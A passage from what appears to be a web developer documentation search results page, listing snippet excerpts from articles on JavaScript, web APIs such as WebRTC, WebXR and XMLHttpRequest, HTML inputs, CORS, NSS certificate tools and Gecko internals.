...r = math.floor(math.random() * 100) + 1; const guesses = document.queryselector('.guesses'); const lastresult = document.queryselector('.lastresult'); const loworhi = document.queryselector('.loworhi'); const guesssubmit = document.queryselector('.guesssubmit'); const guessfield = document.queryselector('.guessfield'); let guesscount = 1; let resetbutton; function checkguess() { let userguess = number(guessfield.value); if (guesscount === 1) { guesses.textcontent = 'previous guesses: '; } guesses.textcontent += userguess + ' '; if (userguess === randomnumber) { lastresult.textcontent = 'congratulations!
...And 45 more matches
Client-Server Overview - Learn web development
there is no real code in the discussion because we haven't yet chosen a web framework to use to write our code!
... this discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or web framework you select.
...when you click a link on a web page, submit a form, or run a search, the browser sends an http request to the server.
...And 45 more matches
NSS tools : certutil
it can specifically list, generate, modify, or delete certificates, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database.
...each option may take arguments, anywhere from none to multiple arguments.
... -b run a series of commands from the specified batch file.
...And 45 more matches
certutil
it can also list, generate, modify, or delete certificates within the database, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database.
...each option may take arguments, anywhere from none to multiple arguments.
... run the command option and -h to see the arguments available for each command option.
...And 45 more matches
NSS tools : signtool
-h -l -l -m -v -w -g nickname -s size -b basename [[-c compression level] ] [[-d cert-dir] ] [[-i installer script] ] [[-m metafile] ] [[-x name] ] [[-f filename] ] [[-t|--token tokenname] ] [[-e extension] ] [[-o] ] [[-z] ] [[-x] ] [[--outfile] ] [[--verbose value] ] [[--norecurse] ] [[--leavearc] ] [[-j directory] ] [[-z jarfile] ] [[-o] ] [[-p password] ] [directory-tree] [archive] description the signing tool, signtool, creates digital signatures and uses a java archive (jar) file to associate the signatures with files in a directory.
...to help address some of these problems, you can associate digital signatures with the files in a jar archive.
... digital signatures allow ssl-enabled clients to perform two important operations: * confirm the identity of the individual, company, or other entity whose digital signature is associated with the files * check whether the files have been tampered with since being signed if you have a signing certificate, you can use netscape signing tool to digitally sign files and package them as a jar file.
...And 45 more matches
Background audio processing using AudioWorklet - Web APIs
an audio context's audio worklet is a worklet which runs off the main thread, executing audio processing code added to it by calling the context's audioworklet.addmodule() method.
... calling addmodule() loads the specified javascript file, which should contain the implementation of the audio processor.
... with the processor registered, you can create a new audioworkletnode which passes the audio through the processor's code when the node is linked into the chain of audio nodes along with any other audio nodes.
...And 45 more matches
JavaScript modules - JavaScript
it has therefore made sense in recent years to start thinking about providing mechanisms for splitting javascript programs up into separate modules that can be imported when needed.
... browser support use of native javascript modules is dependent on the import and export statements; these are supported in browsers as follows: import desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsimportchrome full support 61edge full support 16 full support 16 full support ...
...to change preferences in firefox, visit about:config.ie no support noopera full support 48safari full support 10.1webview android full support 61chrome android full support 61firef...
...And 45 more matches
Advanced form styling - Learn web development
to recap what we said in the previous article, we have: the bad: some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="search"> the ugly: some elements can't be styled thoroughly using css.
... <input type="color"> date-related controls such as <input type="datetime-local"> <input type="range"> <input type="file"> <progress> and <meter> let's first talk about the appearance property, which is pretty useful for making all of the above more stylable.
... appearance: controlling os-level styling in the previous article we said that historically, styling of web form controls was largely taken from the underlying operating system, which is part of the problem with customizing the look of these controls.
...And 44 more matches
Manipulating documents - Learn web development
objective: to gain familiarity with the core dom apis, and the other apis commonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using javascript.
... you might think that such limitations are a bad thing, but browsers are locked down for good reasons, mostly centering around security.
...there are a few really obvious bits you'll reference regularly in your code — consider the following diagram, which represents the main parts of a browser directly involved in viewing web pages: the window is the browser tab that a web page is loaded into; this is represented in javascript by the window object.
...And 44 more matches
Package management basics - Learn web development
you could certainly code this yourself, but there's a strong chance that someone else has already solved this problem — why waste time reinventing the wheel?
... a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in previous articles.
...a bundle is the term that’s generally used to refer to a single file on your web server that contains all the javascript for your software — typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors’ browser.
...And 44 more matches
JIT Optimization Strategies
the jit coach feature was removed in bug 1614622.
... note: this page is an in-progress documentation of jit optimization strategies planned to support the "jit coach" feature intended for inclusion in firefox developer tools.
...provide a repository of jit optimization strategy information which the jit coach tool can parse to display in its ui.
...And 44 more matches
Gecko Roles
role_menubar represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on mac os x) from which menus are selected by the user.
... role_scrollbar represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.
... role_grip represents a special mouse pointer, which allows a user to manipulate user interface elements such as windows.
...And 44 more matches
Finishing the Component
this puts you in the same situation as many developers using mozilla - you want to use some specific functionality, but the interfaces seem to change on a daily basis.
...if you use "stuff" that isn't frozen, that stuff is subject to change in future versions of gecko.
... if you want to be protected against changes in gecko, you must only use interfaces and apis that are clearly marked as frozen.
...And 44 more matches
Debugger.Object - Firefox Developer Tools
spidermonkey creates exactly one debugger.object instance for each debuggee object it presents to a given debugger instance: if the debugger encounters the same object through two different routes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object instance to the debugger each time.
...(in firefox terminology, privileged code sees the element through an "xray wrapper".) to ensure that debugger code sees each object just as the debuggee would, each debugger.object instance presents its referent as it would be seen from a particular compartment.
... this "viewing compartment" is chosen to match the way the debugger came across the referent.
...And 44 more matches
Migrating from Firebug - Firefox Developer Tools
that means, that when you open the devtools in a tab, they stay open even when you switch between different websites.
... when you switch to another tab, though, they're closed.
...this may be changed in bug 1269730.
...And 44 more matches
IDBObjectStore - Web APIs
if this attribute is null, the application must provide a key for each modification operation.
... idbobjectstore.transaction read only the idbtransaction object to which this object store belongs.
... idbobjectstore.count() returns an idbrequest object, and, in a separate thread, returns the total number of records that match the provided key or idbkeyrange.
...And 44 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
because webrtc doesn't mandate a specific transport mechanism for signaling during the negotiation of a new peer connection, it's highly flexible.
...this article introduces webrtc perfect negotiation, describing how it works and why it's the recommended way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique.
...the perfect negotiation pattern is an example of the ways in which negotiation have improved since the early days of webrtc.
...And 44 more matches
Using Promises - JavaScript
« previousnext » a promise is an object representing the eventual completion or failure of an asynchronous operation.
... essentially, a promise is a returned object to which you attach callbacks, instead of passing callbacks into a function.
... imagine a function, createaudiofileasync(), which asynchronously generates a sound file given a configuration record and two callback functions, one called if the audio file is successfully created, and the other called if an error occurs.
...And 44 more matches
Promise - JavaScript
the promise object represents the eventual completion (or failure) of an asynchronous operation, and its resulting value.
...it allows you to associate handlers with an asynchronous action's eventual success value or failure reason.
... this lets asynchronous methods return values like synchronous methods: instead of immediately returning the final value, the asynchronous method returns a promise to supply the value at some point in the future.
...And 44 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascript frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things.
... in this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed.
... handling events if you've only written vanilla javascript before now, you might be used to having a separate javascript file, where you query for some dom nodes and attach listeners to them.
...And 43 more matches
Introduction to NSPR
the netscape portable runtime (nspr) api allows compliant applications to use system facilities such as threads, thread synchronization, i/o, interval timing, atomic operations, and several other low-level services in a platform-independent manner.
... this chapter introduces key nspr programming concepts and illustrates them with sample code.
... naming of nspr types, functions, and macros follows the following conventions: types exported by nspr begin with pr and are followed by intercap-style declarations, like this: print, prfiledesc function definitions begin with pr_ and are followed by intercap-style declarations, like this: pr_read, pr_jointhread preprocessor macros begin with the letters pr and are followed by all uppercase characters separated with the underscore character (_), like this: pr_bytes_per_short, pr_extern nspr threads nspr provides an execution environment that promotes the use of lightweight threads.
...And 43 more matches
nsDependentCString
class declaration nstdependentstring_chart stores a null-terminated, immutable sequence of characters.
... subclass of nststring that restricts string value to an immutable character sequence.
...method overview constructors assertvalid rebind operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last co...
...And 43 more matches
nsINavHistoryResultObserver
toolkit/components/places/nsinavhistoryservice.idlscriptable lets clients observe changes to a result as the result updates itself according to bookmark and history system events.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), this interface replaced the older nsinavhistoryresultviewer interface, which only allowed one client at a time.
... method overview void batching(in boolean atogglemode); void containerclosed(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containeropened(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containerstatechanged(in nsinavhistorycontainerresultnode acontainernode, in unsigned long aoldstate, in unsigned long anewstate); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void nodeannotationchanged(in nsinavhistoryresultnode anode, in autf8string aannoname); void nodedateaddedchanged(in nsinavhistoryresultnode anode, in prtime anewvalue); void nodehistorydetailschanged(in nsinavhistoryresultnode anode, in prtime anewvisitdate, i...
...And 43 more matches
Element - Web APIs
WebAPIElement
element is the most general base class from which all element objects (i.e.
...most functionality is specified further down the class hierarchy.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...And 43 more matches
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value methods select(), setrangetext() and setselectionrange().
... additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, text inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid pattern a regular expression the input's contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the co...
...ntents of the input should be read-only size a number indicating how many characters wide the input field should be spellcheck controls whether or not to enable spell checking for the input field, or if the default spell checking configuration should be used list the values of the list attribute is the id of a <datalist> element located in the same document.
...And 43 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average video game from a technical point of view, in terms of how the main loop should run.
...games are constantly looping through these stages, over and over, until some end condition occurs (such as winning, losing, or exiting to go to bed).
...these games present two images to the user; they accept their click (or touch); they interpret the input as a success, failure, pause, menu interaction, etc.; finally, they calculate an updated scene resulting from that input.
...And 42 more matches
Useful string methods - Learn web development
previous overview: first steps next now that we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.
...try entering the following lines: let browsertype = 'mozilla'; browsertype.length; this should return the number 7, because "mozilla" is 7 characters long.
... retrieving a specific string character on a related note, you can return any character inside a string by using square bracket notation — this means you include square brackets ([]) on the end of your variable name.
...And 42 more matches
sample2
*/ /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <cryptohi.h> #include <keyhi.h> #include <pk11priv.h> #include <cert.h> #include <base64.h> #include <secerr.h> #include <secport.h> #include <secoid.h> #include <secmodt.h> #include <secoidt.h> #include <sechash.h> /* our samples utilities */ #include "util.h" /* constants */ #define blocksize 32 #define modblocksize 128 #define default_key_bits 1024 /* header file constants */ #define enckey_header "-----begin wrapped enckey-----" #define enckey_trailer "-----end wrapped enckey-----" #define mackey_header "-----begin wrapped mackey-----" #define mackey_trailer "-----end wrapped mackey-----" #define i...
...ng(err) pr_errortostring((err), pr_language_i_default) #endif /* sample 6 commands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8, sig = 9 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s %s %s %s %s %s %s %s %s %s\n\n", progname, " -<g|a|h|e|ds|v> -d <dbdirpath> ", "[-p <dbpwd> | -f <dbpwdfile>] [-z <noisefilename>] [-a <\"\">]", "-s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <ipfilename> -...
...e signing request \n\n", "-r <csr>"); fprintf(stderr, "%-30s - generate a self-signed cert [optional]\n\n", "-x"); fprintf(stderr, "%-30s - to enable ascii [optional]\n\n", "-a"); fprintf(stderr, "%-30s - to save certificate to header file as sig verification [optional]\n\n", "-v"); exit(-1); } /* * validate the options used for generate csr command */ static void validategeneratecsrcommand(const char *progname, const char *dbdir, certname *subject, const char *subjectstr, const char *certreqfilename) { prbool validationfailed = pr_false; if (!subject) { pr_fprintf(pr_stderr, "%s -g -d %s -s: improperly formatted name: \"%s\"\n", progname, dbdir, subjectstr); validationfailed = pr_true; } if (!certreqfilename) { pr_fprintf(pr_stderr, "%s -g -d %s -s %s -r: certificate request file name not f...
...And 42 more matches
Using XPCOM Utilities to Make Things Easier
« previousnext » this chapter goes back over the code you've already created in the first part of the tutorial (see weblock1.cpp in the previous chapter) and uses xpcom tools that make coding a lot easier and more efficient.
...much of the code created to get the software recognized and registered as a component can be reduced to a small data structure and a single macro.
... generic xpcom module macros the work in the previous chapter was useful in setting up the generic component code.
...And 42 more matches
nsIFaviconService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/favicon-service;1.
... methods addfailedfavicon() this method adds a given favicon's uri to the failed favicon cache.
... the lifespan of the favicon cache is up to the caching system.
...And 42 more matches
Introduction to the File and Directory Entries API - Web APIs
it was built on the file writer api, which, in turn, was built on file api.
... each of the apis adds different functionality.
... these apis are a giant evolutionary leap for web apps, which can now cache and process large amounts of data.
...And 42 more matches
Permissions - Web APIs
the permissions interface of the permissions api provides the core permission api functionality, such as methods for querying and revoking permissions methods permissions.query() returns the user permission status for a given api.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpermissionschrome full support 43edge full support 79firefox full support 46ie no support noopera full support yessafari no support nowebview android full support 43chrome android full support 43firefox android full support 46opera android...
...And 42 more matches
Starting up and shutting down a WebXR session - Web APIs
there is a global xrsystem object available for use by your document through the the navigator property xr, which returns the xrsystem object if suitable xr hardware is available for your use given the hardware available and your document's environment.
... thus the simplest code that fetches the xrsystem object is: const xr = navigator.xr; the value of xr will be null or undefined if webxr isn't available.
... webxr polyfill the team designing the webxr specification has published a webxr polyfill which you can use to simulate webxr on browsers which don't have support for the webxr apis.
...And 42 more matches
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
unlike <input type="email"> and <input type="url"> , the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so much around the world.
... value a domstring representing a telephone number, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value attribute contains a domstring that either represents a telep...
... additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, telephone number inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum length, in utf-16 characters, to accept as a valid input minlength the minimum length that is considered valid for the field's contents pattern a regular expression the entered value must match to pass constraint validation placeholder an example value to display inside the field when it has no value readonly a boolean attribute which, if present, indicates that the fie...
...And 42 more matches
Client-side tooling overview - Learn web development
equally, a single configuration file for a tool like webpack can be hundreds of lines long, most of which are magical incantations that seem to do the job but which only a master engineer will fully understand!
... from time to time, even the most experienced of web developers get stuck on a tooling problem; it is possible to waste hours attempting to get a tooling pipeline working before even touching a single line of application code.
... in these articles, we won’t answer every question about web tooling, but we will provide you with a useful starting point of understanding the fundamentals, which you can then build from.
...And 41 more matches
Gecko Profiler FAQ
similarly it also can’t show you instruction level information about where each sample was captured (this is why there is no support for line-level sampling for native code either.) at this point the granularity of each sample it displays is a native function.
... for this purpose you should try to use a native profiler on your platform of choice (for example xperf/vtune on windows, instruments on osx, and perf/zoom on linux.) one workaround is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile.
... this can change some performance characteristics, but is a decent way to get a sense of which parts of a large function are expensive.
...And 41 more matches
NSS functions
updated - function has new arguments such as new flag or addition to structure.
...the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates which versions of nss support the function.
...And 41 more matches
Gecko events
is supported: yes event_dom_significant_change an object's properties or content have changed significantly so that the type of object has really changed, and therefore the accessible should be destroyed or recreated.
... is supported: yes event_asynch_show a hidden object is shown -- this is a layout occurance and is thus asynchronous is supported: yes event_asynch_hide an object is hidden -- this is a layout occurance and is thus asynchronous is supported: yes event_asynch_significant_change an object had a significant layout change which could affect the type of accessible object -- this is a layout occurance and is thus asynchronous is supported: yes event_active_decendent_changed the active descendant of a component has changed.
... the active descendant is used in objects with transient children.
...And 41 more matches
nsILoginManagerStorage
toolkit/components/passwordmgr/public/nsiloginmanagerstorage.idlscriptable this interface is implemented by modules that wish to provide storage mechanisms for the login manager.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for example, if you wish to provide operating system integration with a native password manager system, implementing and registering a storage module for the login manager is how you do it.
...id getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void init(); void initwithfile(in nsifile ainputfile, in nsifile aoutputfile); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); attributes attribute type description uibusy boolean true when a master password prompt is being shown.
...And 41 more matches
Plug-in Basics - Plugins
next » how plug-ins are used plug-ins offer a rich variety of features that can increase the flexibility of gecko-based browsers.
... plug-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins.
... with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
...And 41 more matches
Debugger - Firefox Developer Tools
new debugger([global, …]) create a debugger object, and apply its adddebuggee method to each of the givenglobal objects to add them as the initial debuggees.
... collectcoverageinfo a boolean value indicating whether code coverage should be enabled inside each debuggee of this debugger instance.
... changing this flag value will recompile all jit code to add or remove code coverage instrumentation.
...And 41 more matches
WebRTC connectivity - Web APIs
we call this the signal channel or signaling service.
... it’s any sort of channel of communication to exchange information before setting up a connection, whether by email, post card or a carrier pigeon...
... the information we need to exchange is the offer and answer which just contains the sdp mentioned below.
...And 41 more matches
Fundamentals of WebXR - Web APIs
together, these technologies are referred to as mixed reality, which is abbreviated xr.
... mixed reality is a large and complex subject, with much to learn and many other apis to bring together in order to create an engaging experience for users.
... what webxr is and isn't webxr is an api for web content and apps to use to interface with mixed reality hardware such as vr headsets and glasses with integrated augmented reality features.
...And 41 more matches
WebXR Device API - Web APIs
webxr is a group of standards which are used together to support rendering 3d scenes to hardware designed for presenting virtual worlds (virtual reality, or vr), or for adding graphical imagery to the real world, (augmented reality, or ar).
... the webxr device api implements the core of the webxr feature set, managing the selection of output devices, render the 3d scene to the chosen device at the appropriate frame rate, and manage motion vectors created using input controllers.
... webxr-compatible devices include fully-immersive 3d headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.
...And 41 more matches
Window.open() - Web APIs
WebAPIWindowopen
windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname.
...these features include options such as the window's default size and position, whether or not to include toolbar, and so forth.
...see window features below for documentation of each of the features that can be specified.
...And 41 more matches
Using XMLHttpRequest - Web APIs
in this guide, we'll take a look at how to use xmlhttprequest to issue http requests in order to exchange data between the web site and a server.
...after the transaction completes, the object will contain useful information such as the response body and the http status of the result.
... function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously.
...And 41 more matches
JavaScript basics - Learn web development
it was invented by brendan eich (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation.
...with more experience, you'll be able to create games, animated 2d and 3d graphics, comprehensive database-driven apps, and much more!
...these include: browser application programming interfaces (apis) built into web browsers, providing functionality such as dynamically creating html and setting css styles; collecting and manipulating a video stream from a user's webcam, or generating 3d graphics and audio samples.
...And 40 more matches
Responsive images - Learn web development
previous overview: multimedia and embedding next in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
...here's a simple example: this works well on a wide screen device, such as a laptop or desktop (you can see the example live and find the source code on github.) we won't discuss the css much in this lesson, except to say that: the body content has been set to a maximum width of 1200 pixels — in viewports above that width, the body remains at 1200px and centers itself in the available space.
... an improvement would be to display a cropped version of the image which displays the important details of the image when the site is viewed on a narrow screen.
...And 40 more matches
Overview of Mozilla embedding APIs
introduction the mozilla public api consists of a collection of services and components which are accessed via xpcom interfaces.
...the service manager exposes all of the available xpcom services - each service represents a global object which provides some piece of functionality.
...much of the gecko functionality is exposed through a component called the nswebbrowser.
...And 40 more matches
SpiderMonkey 1.8.7
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32).
...it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...And 40 more matches
Redis Tips
technically, this is true: it's a database that doesn't use sql.
... so rather than thinking about redis as a database with some kind of non-existent relationship to sql, think of it as a data structure server with a rich set of commands for querying and manipulating those data structures over a network connection.
... event logging lists, zsets, pubsub queues lists (rpush, blpop, blpoprpush, etc.) priority queues zsets membership sets, bitstrings state hashes heartbeats zsets hit counters zsets message broadcast pubsub search reverse indexes (never use keys in production) documentation redis has fantastic documentation.
...And 40 more matches
Using DTMF with WebRTC - Web APIs
the dtmf system is often referred to as "touch tone," after an old trade name for the system.
...webrtc currently ignores these payloads; this is because webrtc's dtmf support is primarily intended for use with legacy telephone services that rely on dtmf tones to perform tasks such as: teleconferencing systems menu systems voicemail systems entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user as part of their user experience, since users are typically used to hearing their phone play the tones audibly.
...when you wish to transmit dtmf signals, you first need to decide which track to send them on, since dtmf is sent as a series of out-of-band payloads on the rtcrtpsender responsible for transmitting that track's data to the other peer.
...And 40 more matches
Audio and Video Delivery - Developer guides
this article is intended as a starting point for exploring the various delivery mechanisms of web based media and compatibility with popular browsers.
... the audio and video elements whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same.
... currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast.
...And 40 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
cross-origin resource sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin.
...for example, xmlhttprequest and the fetch api follow the same-origin policy.
... the cors mechanism supports secure cross-origin requests and data transfers between browsers and servers.
...And 40 more matches
HTTP conditional requests - HTTP
http has a concept of conditional requests, where the result, and even the success of a request, can be changed by comparing the affected resources with the value of a validator.
... such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server.
...these headers define a precondition, and the result of the request will be different if the precondition is matched or not.
...And 40 more matches
Performance fundamentals - Web Performance
users provide inputs to the system through touch, movement, and speech.
... in return, they perceive outputs through sight, touch, and hearing.
...users prefer, say, a responsive, smooth app that only processes 1,000 database transactions per second, over a choppy, unresponsive app that processes 100,000,000 per second.
...And 40 more matches
Index - Game development
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
...the concern is mostly with switching to another option.
... 3 examples demos, example, games, web this page lists a number of impressive web technology demos for you to get inspiration from, and generally have fun with.
...And 39 more matches
HTML: A good basis for accessibility - Learn web development
this means using the correct html elements for their intended purpose as much as possible.
...for example, a control button to play a video on your site could be marked up like this: <div>play video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play video</button> not only do html <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can navigate between buttons using the tab key and activate their selection using return or enter.
... good for seo — search engines give more importance to keywords inside headings, links, etc.
...And 39 more matches
HTML: A good basis for accessibility - Learn web development
this means using the correct html elements for their intended purpose as much as possible.
...for example, a control button to play a video on your site could be marked up like this: <div>play video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play video</button> not only do html <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can navigate between buttons using the tab key and activate their selection using return or enter.
... good for seo — search engines give more importance to keywords inside headings, links, etc.
...And 39 more matches
Flexbox - Learn web development
the following simple layout requirements are either difficult or impossible to achieve with such tools, in any kind of convenient, flexible way: vertically centering a block of content inside its parent.
... making all the children of a container take up an equal amount of the available width/height, regardless of how much width/height is available.
... as you'll see in subsequent sections, flexbox makes a lot of layout tasks much easier.
...And 39 more matches
Beginner's guide to media queries - Learn web development
previous overview: css layout next the css media query gives you a way to apply css only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels".
... media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse.
... prerequisites: html basics (study introduction to html), and an idea of how css works (study css first steps and css building blocks.) objective: to understand how to use media queries, and the most common approach for using them to create responsive designs.
...And 39 more matches
HTML text fundamentals - Learn web development
in html, each paragraph has to be wrapped in a <p> element, like so: <p>i am a paragraph, oh yes i am.</p> each heading has to be wrapped in a heading element: <h1>i am the title of the story.</h1> there are six heading elements: <h1>, <h2>, <h3>, <h4>, <h5>, and <h6>.
... each element represents a different level of content in the document; <h1> represents the main heading, <h2> represents subheadings, <h3> represents sub-subheadings, and so on.
... implementing structural hierarchy for example, in this story, the <h1> element represents the title of the story, the <h2> elements represent the title of each chapter, and the <h3> elements represent sub-sections of each chapter: <h1>the crushing bore</h1> <p>by chris mills</p> <h2>chapter 1: the dark night</h2> <p>it was a dark night.
...And 39 more matches
Video and audio content - Learn web development
video and audio on the web web developers have wanted to use video and audio on the web for a long time, ever since the early 2000s when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) in the early days, native web technologies such as html didn't have the ability to embed video and audio on the web, so proprietary (or plugin-based) technologies like flash (and later, silverlight) became popular for handling such content.
... this kind of technology worked ok, but it had a number of problems, including not working well with html/css features, security issues, and accessibility issues.
... a native solution would solve much of this if implemented correctly.
...And 39 more matches
Basic math in JavaScript — numbers and operators - Learn web development
some of us like math, some of us have hated math ever since we had to learn multiplication tables and long division in school, and some of us sit somewhere in between the two.
...this is especially true when we are learning to program javascript (or any other language for that matter) — so much of what we do relies on processing numerical data, calculating new values, and so on, that you won't be surprised to learn that javascript has a full-featured set of math functions available.
...decimal is base 10 (meaning it uses 0–9 in each column), but we also have things like: binary — the lowest level language of computers; 0s and 1s.
...And 39 more matches
Introduction to cross browser testing - Learn web development
overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages.
